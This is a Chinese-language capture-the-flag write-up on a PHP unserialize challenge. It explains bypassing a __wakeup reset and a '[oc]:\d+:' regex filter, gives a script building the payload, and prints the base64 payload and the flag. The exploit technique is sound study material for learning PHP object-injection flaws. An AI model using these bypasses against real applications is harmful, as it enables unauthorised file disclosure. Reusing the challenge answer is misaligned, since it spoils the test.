1.信息收集:
从题目:知道反序列化;
2.源码审计:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
//构造函数,创建一个对象时自动调用,用来初始化对象的属性;
$this->file = $file;
}
function __destruct() {
//析构函数在对象被销毁时自动调用,用于执行一些清理操作或释放资源。
echo @highlight_file($this->file, true);
}
function __wakeup() {
//在反序列化对象时自动调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
//检查变量是否已设置且不为null
$var = base64_decode($_GET['var']);
//对变量值进行base63解码;
if (preg_match('/[oc]:\d+:/i', $var)) {
//在字符串中使用正则表达式进行匹配。'/[oc]:\d+:/i'是正则表达式
die('stop hacking!');
} else {
@unserialize($var);
//反序列化
}
} else {
highlight_file("index.php");
}
$x = new Demo('fl4g.php');
$y = serialize($x);
echo $y;
?>
正则表达式模式[oc]:\d+:
的含义如下:
[oc]
:匹配字符o
或c
。:
:匹配冒号字符。\d+
:匹配一个或多个数字。:
:匹配冒号字符。
i
是一个修饰符,表示匹配时不区分大小写。
preg_match()
函数返回匹配的次数,如果匹配成功,则返回1,如果没有匹配成功,则返回0。
3.条件:
1.要绕过wake up 函数:是在反序列化(unserialize)操作中起作用;
绕过:对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数 ,不一致就ok了;
2.要绕过正则表达式模式preg_match('/[oc]:\d+:/i', $var):
这里为什么过滤的是:‘o:数字’和‘c:数字’呢而且不区分大小写;因为serialize() 的参数为 object , 参数类型有对象 " O " , 序列化字符串的格式为 参数格式:参数名长度 , " O:4 " 字符串会被过滤;
绕过:改为‘O:+4’ :str_replace('O:4', 'O:+4',$C) 代替函数,冲字符串y中寻找'O:4',并替换;
3.要base64加密;
编写脚本:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
$x = new Demo('fl4g.php');
$y = serialize($x);
echo $y; //O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$z = str_replace('O:4','O:+4',$y); //绕过preg_match
$w = str_replace(':1:',':2:',$z); //绕过__wakeup()
var_dump($w);
var_dump(base64_encode($w));
?>
运行后得到:
"TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";